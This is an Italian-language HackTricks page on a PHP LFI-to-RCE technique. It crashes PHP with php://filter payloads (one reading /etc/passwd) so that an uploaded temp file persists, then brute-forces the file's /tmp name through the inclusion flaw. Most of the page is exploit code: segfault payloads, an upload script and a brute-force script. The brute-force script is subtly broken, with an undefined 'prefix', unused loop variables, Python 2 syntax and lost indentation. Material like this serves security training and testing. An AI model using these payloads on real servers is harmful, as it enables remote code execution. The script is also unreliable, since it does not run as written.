# LFI2RCE tramite Segmentation Fault

{{#include ../../banners/hacktricks-training.md}}

Secondo i writeup [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/) (seconda parte) e [https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view](https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view), i seguenti payload hanno causato un segmentation fault in PHP:
```php
// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");
```
Dovresti sapere che se **invi** una richiesta **POST** **contenente** un **file**, PHP creerà un **file temporaneo in `/tmp/php<qualcosa>`** con il contenuto di quel file. Questo file sarà **automaticamente eliminato** una volta che la richiesta è stata elaborata.

Se trovi un **LFI** e riesci a **attivare** un errore di segmentazione in PHP, il **file temporaneo non verrà mai eliminato**. Pertanto, puoi **cercarlo** con la vulnerabilità **LFI** finché non lo trovi ed eseguire codice arbitrario.

Puoi utilizzare l'immagine docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) per i test.
```python
# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()
```
{{#include ../../banners/hacktricks-training.md}}